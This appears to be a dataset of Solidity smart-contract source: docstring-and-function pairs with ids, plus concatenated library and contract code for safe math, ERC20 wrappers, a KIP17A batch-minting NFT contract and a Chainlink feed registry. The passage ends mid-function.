Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } require(!(a == -1 && b == _INT256_MIN), "SignedSafeMath: multiplication overflow"); int256 c = a * b; require(c / a == b, "SignedSafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two signed integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(int256 a, int256 b) internal pure returns (int256) { require(b != 0, "SignedSafeMath: division by zero"); require(!(b == -1 && a == _INT256_MIN), "SignedSafeMath: division overflow"); int256 c = a / b; return c; } /** * @dev Returns the subtraction of two signed integers, reverting on * overflow. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a), "SignedSafeMath: subtraction overflow"); return c; } /** * @dev Returns the addition of two signed integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a), "SignedSafeMath: addition overflow"); return c; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; interface IIntegrationRegistry { function addIntegration(address _module, string memory _id, address _wrapper) external; function getIntegrationAdapter(address _module, string memory _id) external view returns(address); function getIntegrationAdapterWithHash(address _module, bytes32 _id) external view returns(address); function isValidIntegration(address _module, string memory _id) external view returns(bool); } /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; /** * @title IPriceOracle * @author Set Protocol * * Interface for interacting with PriceOracle */ interface IPriceOracle { /* ============ Functions ============ */ function getPrice(address _assetOne, address _assetTwo) external view returns (uint256); function masterQuoteAsset() external view returns (address); } /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; import { ISetToken } from "../interfaces/ISetToken.sol"; interface ISetValuer { function calculateSetTokenValuation(ISetToken _setToken, address _quoteAsset) external view returns (uint256); }
Invoke borrow from the SetToken during issuance hook. Since we only need to interact with AAVE once we fetch the lending pool in this function to optimize vs forcing a fetch twice during lever/delever./
function _repayBorrowForHook(ISetToken _setToken, IERC20 _asset, uint256 _notionalQuantity) internal { _repayBorrow(_setToken, ILendingPool(lendingPoolAddressesProvider.getLendingPool()), _asset, _notionalQuantity); }
462,703
// SPDX-License-Identifier: MIT pragma solidity ^0.5.6; import "../../token/KIP17/IKIP17.sol"; import "../../token/KIP17/KIP17.sol"; import "../../token/KIP17/IKIP17Receiver.sol"; import "../../token/KIP17/IKIP17Metadata.sol"; import "../../token/KIP17/IKIP17Enumerable.sol"; import "../../utils/Address.sol"; import "../../GSN/Context.sol"; import "../utils/Strings.sol"; import "../../introspection/KIP13.sol"; import "../oldproxy/Initializable.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[KIP17] Non-Fungible Token Standard, including * the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..). * * Assumes the number of issuable tokens (collection size) is capped and fits in a uint128. * * Does not support burning tokens to address(0). */ contract KIP17A is Context, KIP13, KIP17, IKIP17Metadata, IKIP17Enumerable { using Address for address; using Strings for uint256; struct TokenOwnership { address addr; uint64 startTimestamp; } struct AddressData { uint128 balance; uint128 numberMinted; } uint256 private currentIndex = 0; uint256 internal collectionSize; uint256 internal maxBatchSize; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details. mapping(uint256 => TokenOwnership) private _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev * `maxBatchSize` refers to how much a minter can mint at a time. * `collectionSize_` refers to how many tokens are in the collection. */ constructor( string memory name_, string memory symbol_, uint256 maxBatchSize_, uint256 collectionSize_ ) public { require(collectionSize_ > 0, "KIP17A: collection must have a nonzero supply"); require(maxBatchSize_ > 0, "KIP17A: max batch size must be nonzero"); _name = name_; _symbol = symbol_; maxBatchSize = maxBatchSize_; collectionSize = collectionSize_; } /** * @dev See {IKIP17Enumerable-totalSupply}. */ function totalSupply() public view returns (uint256) { return currentIndex; } /** * @dev See {IKIP17Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view returns (uint256) { require(index < totalSupply(), "KIP17A: global index out of bounds"); return index; } /** * @dev See {IKIP17Enumerable-tokenOfOwnerByIndex}. * This read function is O(collectionSize). If calling from a separate contract, be sure to test gas first. * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view returns (uint256) { require(index < balanceOf(owner), "KIP17A: owner index out of bounds"); uint256 numMintedSoFar = totalSupply(); uint256 tokenIdsIdx = 0; address currOwnershipAddr = address(0); for (uint256 i = 0; i < numMintedSoFar; i++) { TokenOwnership memory ownership = _ownerships[i]; if (ownership.addr != address(0)) { currOwnershipAddr = ownership.addr; } if (currOwnershipAddr == owner) { if (tokenIdsIdx == index) { return i; } tokenIdsIdx++; } } revert("KIP17A: unable to get token of owner by index"); } /** * @dev See {IKIP17-balanceOf}. */ function balanceOf(address owner) public view returns (uint256) { require(owner != address(0), "KIP17A: balance query for the zero address"); return uint256(_addressData[owner].balance); } function _numberMinted(address owner) internal view returns (uint256) { require(owner != address(0), "KIP17A: number minted query for the zero address"); return uint256(_addressData[owner].numberMinted); } function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { require(_exists(tokenId), "KIP17A: owner query for nonexistent token"); uint256 lowestTokenToCheck; if (tokenId >= maxBatchSize) { lowestTokenToCheck = tokenId - maxBatchSize + 1; } for (uint256 curr = tokenId; curr >= lowestTokenToCheck; curr--) { TokenOwnership memory ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } revert("KIP17A: unable to determine the owner of token"); } /** * @dev See {IKIP17-ownerOf}. */ function ownerOf(uint256 tokenId) public view returns (address) { return ownershipOf(tokenId).addr; } /** * @dev See {IKIP17Metadata-name}. */ function name() public view returns (string memory) { return _name; } /** * @dev See {IKIP17Metadata-symbol}. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev See {IKIP17Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view returns (string memory) { require(_exists(tokenId), "KIP17Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString(), ".json")) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be n in child contracts. */ function _baseURI() internal view returns (string memory) { return ""; } /** * @dev See {IKIP17-approve}. */ function approve(address to, uint256 tokenId) public { address owner = KIP17A.ownerOf(tokenId); require(to != owner, "KIP17A: approval to current owner"); require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()), "KIP17A: approve caller is not owner nor approved for all"); _approve(to, tokenId, owner); } /** * @dev See {IKIP17-getApproved}. */ function getApproved(uint256 tokenId) public view returns (address) { require(_exists(tokenId), "KIP17A: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IKIP17-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public { require(operator != _msgSender(), "KIP17A: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IKIP17-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IKIP17-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public { _transfer(from, to, tokenId); } /** * @dev See {IKIP17-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IKIP17-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public { _transfer(from, to, tokenId); require(_checkOnKIP17Received(from, to, tokenId, _data), "KIP17A: transfer to non KIP17Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return tokenId < currentIndex; } function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ""); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - there must be `quantity` tokens remaining unminted in the total collection. * - `to` cannot be the zero address. * - `quantity` cannot be larger than the max batch size. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { uint256 startTokenId = currentIndex; require(to != address(0), "KIP17A: mint to the zero address"); // We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering. require(!_exists(startTokenId), "KIP17A: token already minted"); require(quantity <= maxBatchSize, "KIP17A: quantity to mint too high"); AddressData memory addressData = _addressData[to]; _addressData[to] = AddressData(addressData.balance + uint128(quantity), addressData.numberMinted + uint128(quantity)); _ownerships[startTokenId] = TokenOwnership(to, uint64(block.timestamp)); uint256 updatedIndex = startTokenId; for (uint256 i = 0; i < quantity; i++) { emit Transfer(address(0), to, updatedIndex); require(_checkOnKIP17Received(address(0), to, updatedIndex, _data), "KIP17A: transfer to non KIP17Receiver implementer"); updatedIndex++; } currentIndex = updatedIndex; _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = ownershipOf(tokenId); bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr || getApproved(tokenId) == _msgSender() || isApprovedForAll(prevOwnership.addr, _msgSender())); require(isApprovedOrOwner, "KIP17A: transfer caller is not owner nor approved"); require(prevOwnership.addr == from, "KIP17A: transfer from incorrect owner"); require(to != address(0), "KIP17A: transfer to the zero address"); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); _addressData[from].balance -= 1; _addressData[to].balance += 1; _ownerships[tokenId] = TokenOwnership(to, uint64(block.timestamp)); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { if (_exists(nextTokenId)) { _ownerships[nextTokenId] = TokenOwnership(prevOwnership.addr, prevOwnership.startTimestamp); } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } uint256 public nextOwnerToExplicitlySet = 0; /** * @dev Explicitly set `owners` to eliminate loops in future calls of ownerOf(). */ function _setOwnersExplicit(uint256 quantity) internal { uint256 oldNextOwnerToSet = nextOwnerToExplicitlySet; require(quantity > 0, "quantity must be nonzero"); uint256 endIndex = oldNextOwnerToSet + quantity - 1; if (endIndex > collectionSize - 1) { endIndex = collectionSize - 1; } // We know if the last one in the group exists, all in the group exist, due to serial ordering. require(_exists(endIndex), "not enough minted yet for this cleanup"); for (uint256 i = oldNextOwnerToSet; i <= endIndex; i++) { if (_ownerships[i].addr == address(0)) { TokenOwnership memory ownership = ownershipOf(i); _ownerships[i] = TokenOwnership(ownership.addr, ownership.startTimestamp); } } nextOwnerToExplicitlySet = endIndex + 1; } /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal {} }
Explicitly set `owners` to eliminate loops in future calls of ownerOf()./
function _setOwnersExplicit(uint256 quantity) internal { uint256 oldNextOwnerToSet = nextOwnerToExplicitlySet; require(quantity > 0, "quantity must be nonzero"); uint256 endIndex = oldNextOwnerToSet + quantity - 1; if (endIndex > collectionSize - 1) { endIndex = collectionSize - 1; } for (uint256 i = oldNextOwnerToSet; i <= endIndex; i++) { if (_ownerships[i].addr == address(0)) { TokenOwnership memory ownership = ownershipOf(i); _ownerships[i] = TokenOwnership(ownership.addr, ownership.startTimestamp); } } nextOwnerToExplicitlySet = endIndex + 1; }
2,512,975
./full_match/3/0x50b072F04c0af201bA19239957a2fD2bDd96EcB4/sources/contracts/5_my_contract.sol
Return value return value of 'number'/
function retrieveNumber() public view returns (uint8){ return num1; }
8,135,627
./full_match/5/0xDd075Ee118E993A9C18806561635a5a74974F556/sources/project_/contracts/base/MetawinERC721.sol
Return the alternative token URI. _tokenId Token ID/
function tokenURI_alternative(uint256 _tokenId) public view virtual returns (string memory){ string memory baseURI = useMetawinUri ? getUri('base') : getUri("baseMW"); return _getTokenURI(baseURI, _tokenId); }
1,879,301
// SPDX-License-Identifier: MIT pragma solidity 0.7.6; import "../interfaces/AccessControlledInterface.sol"; import "../vendor/AccessControllerInterface.sol"; import "../vendor/ConfirmedOwner.sol"; contract AccessControlled is AccessControlledInterface, ConfirmedOwner(msg.sender) { AccessControllerInterface internal s_accessController; function setAccessController( AccessControllerInterface _accessController ) public override onlyOwner() { require(address(_accessController) != address(s_accessController), "Access controller is already set"); s_accessController = _accessController; emit AccessControllerSet(address(_accessController), msg.sender); } function getAccessController() public view override returns ( AccessControllerInterface ) { return s_accessController; } } // SPDX-License-Identifier: MIT pragma solidity 0.7.6; import "../vendor/AccessControllerInterface.sol"; interface AccessControlledInterface { event AccessControllerSet( address indexed accessController, address indexed sender ); function setAccessController( AccessControllerInterface _accessController ) external; function getAccessController() external view returns ( AccessControllerInterface ); } // SPDX-License-Identifier: MIT pragma solidity >0.6.0 <0.8.0; interface AccessControllerInterface { function hasAccess(address user, bytes calldata data) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "./ConfirmedOwnerWithProposal.sol"; /** * @title The ConfirmedOwner contract * @notice A contract with helpers for basic contract ownership. */ contract ConfirmedOwner is ConfirmedOwnerWithProposal { constructor( address newOwner ) ConfirmedOwnerWithProposal( newOwner, address(0) ) { } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "../interfaces/OwnableInterface.sol"; /** * @title The ConfirmedOwner contract * @notice A contract with helpers for basic contract ownership. */ contract ConfirmedOwnerWithProposal is OwnableInterface { address private s_owner; address private s_pendingOwner; event OwnershipTransferRequested( address indexed from, address indexed to ); event OwnershipTransferred( address indexed from, address indexed to ); constructor( address owner, address pendingOwner ) { require(owner != address(0), "Cannot set owner to zero"); s_owner = owner; if (pendingOwner != address(0)) { _transferOwnership(pendingOwner); } } /** * @notice Allows an owner to begin transferring ownership to a new address, * pending. */ function transferOwnership( address to ) public override onlyOwner() { _transferOwnership(to); } /** * @notice Allows an ownership transfer to be completed by the recipient. */ function acceptOwnership() external override { require(msg.sender == s_pendingOwner, "Must be proposed owner"); address oldOwner = s_owner; s_owner = msg.sender; s_pendingOwner = address(0); emit OwnershipTransferred(oldOwner, msg.sender); } /** * @notice Get the current owner */ function owner() public view override returns ( address ) { return s_owner; } /** * @notice validate, transfer ownership, and emit relevant events */ function _transferOwnership( address to ) private { require(to != msg.sender, "Cannot transfer to self"); s_pendingOwner = to; emit OwnershipTransferRequested(s_owner, to); } /** * @notice validate access */ function _validateOwnership() internal { require(msg.sender == s_owner, "Only callable by owner"); } /** * @notice Reverts if called by anyone other than the contract owner. */ modifier onlyOwner() { _validateOwnership(); _; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; interface OwnableInterface { function owner() external returns ( address ); function transferOwnership( address recipient ) external; function acceptOwnership() external; } // SPDX-License-Identifier: MIT pragma solidity 0.7.6; pragma abicoder v2; // solhint-disable compiler-version import "@chainlink/contracts/src/v0.7/interfaces/AggregatorV2V3Interface.sol"; import "./access/AccessControlled.sol"; import "./interfaces/FeedRegistryInterface.sol"; /** * @notice An on-chain registry of assets to aggregators. * @notice This contract provides a consistent address for consumers but delegates where it reads from to the owner, who is * trusted to update it. This registry contract works for multiple feeds, not just a single aggregator. * @notice Only access enabled addresses are allowed to access getters for answers and round data */ contract FeedRegistry is FeedRegistryInterface, AccessControlled { uint256 constant private PHASE_OFFSET = 64; uint256 constant private PHASE_SIZE = 16; uint256 constant private MAX_ID = 2**(PHASE_OFFSET+PHASE_SIZE) - 1; mapping(address => bool) private s_isAggregatorEnabled; mapping(address => mapping(address => AggregatorV2V3Interface)) private s_proposedAggregators; mapping(address => mapping(address => uint16)) private s_currentPhaseId; mapping(address => mapping(address => mapping(uint16 => AggregatorV2V3Interface))) private s_phaseAggregators; mapping(address => mapping(address => mapping(uint16 => Phase))) private s_phases; /* * @notice Versioning */ function typeAndVersion() external override pure virtual returns ( string memory ) { return "FeedRegistry 1.0.0-alpha"; } /** * @notice represents the number of decimals the aggregator responses represent. */ function decimals( address asset, address denomination ) external view override returns ( uint8 ) { AggregatorV2V3Interface aggregator = _getFeed(asset, denomination); return aggregator.decimals(); } /** * @notice returns the description of the aggregator the proxy points to. */ function description( address asset, address denomination ) external view override returns ( string memory ) { AggregatorV2V3Interface aggregator = _getFeed(asset, denomination); return aggregator.description(); } /** * @notice the version number representing the type of aggregator the proxy * points to. */ function version( address asset, address denomination ) external view override returns ( uint256 ) { AggregatorV2V3Interface aggregator = _getFeed(asset, denomination); return aggregator.version(); } /** * @notice get data about the latest round. Consumers are encouraged to check * that they're receiving fresh data by inspecting the updatedAt and * answeredInRound return values. * Note that different underlying implementations of AggregatorV3Interface * have slightly different semantics for some of the return values. Consumers * should determine what implementations they expect to receive * data from and validate that they can properly handle return data from all * of them. * @param asset asset address * @param denomination denomination address * @return roundId is the round ID from the aggregator for which the data was * retrieved combined with a phase to ensure that round IDs get larger as * time moves forward. * @return answer is the answer for the given round * @return startedAt is the timestamp when the round was started. * (Only some AggregatorV3Interface implementations return meaningful values) * @return updatedAt is the timestamp when the round last was updated (i.e. * answer was last computed) * @return answeredInRound is the round ID of the round in which the answer * was computed. * (Only some AggregatorV3Interface implementations return meaningful values) * @dev Note that answer and updatedAt may change between queries. */ function latestRoundData( address asset, address denomination ) external view override checkPairAccess() returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ) { uint16 currentPhaseId = s_currentPhaseId[asset][denomination]; AggregatorV2V3Interface currentPhaseAggregator = _getFeed(asset, denomination); ( roundId, answer, startedAt, updatedAt, answeredInRound ) = currentPhaseAggregator.latestRoundData(); return _addPhaseIds(roundId, answer, startedAt, updatedAt, answeredInRound, currentPhaseId); } /** * @notice get data about a round. Consumers are encouraged to check * that they're receiving fresh data by inspecting the updatedAt and * answeredInRound return values. * Note that different underlying implementations of AggregatorV3Interface * have slightly different semantics for some of the return values. Consumers * should determine what implementations they expect to receive * data from and validate that they can properly handle return data from all * of them. * @param asset asset address * @param denomination denomination address * @param _roundId the proxy round id number to retrieve the round data for * @return roundId is the round ID from the aggregator for which the data was * retrieved combined with a phase to ensure that round IDs get larger as * time moves forward. * @return answer is the answer for the given round * @return startedAt is the timestamp when the round was started. * (Only some AggregatorV3Interface implementations return meaningful values) * @return updatedAt is the timestamp when the round last was updated (i.e. * answer was last computed) * @return answeredInRound is the round ID of the round in which the answer * was computed. * (Only some AggregatorV3Interface implementations return meaningful values) * @dev Note that answer and updatedAt may change between queries. */ function getRoundData( address asset, address denomination, uint80 _roundId ) external view override checkPairAccess() returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ) { (uint16 phaseId, uint64 aggregatorRoundId) = _parseIds(_roundId); AggregatorV2V3Interface aggregator = _getPhaseFeed(asset, denomination, phaseId); ( roundId, answer, startedAt, updatedAt, answeredInRound ) = aggregator.getRoundData(aggregatorRoundId); return _addPhaseIds(roundId, answer, startedAt, updatedAt, answeredInRound, phaseId); } /** * @notice Reads the current answer for an asset / denomination pair's aggregator. * @param asset asset address * @param denomination denomination address * @notice We advise to use latestRoundData() instead because it returns more in-depth information. * @dev This does not error if no answer has been reached, it will simply return 0. Either wait to point to * an already answered Aggregator or use the recommended latestRoundData * instead which includes better verification information. */ function latestAnswer( address asset, address denomination ) external view override checkPairAccess() returns ( int256 answer ) { AggregatorV2V3Interface aggregator = _getFeed(asset, denomination); return aggregator.latestAnswer(); } /** * @notice get the latest completed timestamp where the answer was updated. * @param asset asset address * @param denomination denomination address * * @notice We advise to use latestRoundData() instead because it returns more in-depth information. * @dev This does not error if no answer has been reached, it will simply return 0. Either wait to point to * an already answered Aggregator or use the recommended latestRoundData * instead which includes better verification information. */ function latestTimestamp( address asset, address denomination ) external view override checkPairAccess() returns ( uint256 timestamp ) { AggregatorV2V3Interface aggregator = _getFeed(asset, denomination); return aggregator.latestTimestamp(); } /** * @notice get the latest completed round where the answer was updated * @param asset asset address * @param denomination denomination address * @dev overridden function to add the checkAccess() modifier * * @notice We advise to use latestRoundData() instead because it returns more in-depth information. * @dev Use latestRoundData instead. This does not error if no * answer has been reached, it will simply return 0. Either wait to point to * an already answered Aggregator or use the recommended latestRoundData * instead which includes better verification information. */ function latestRound( address 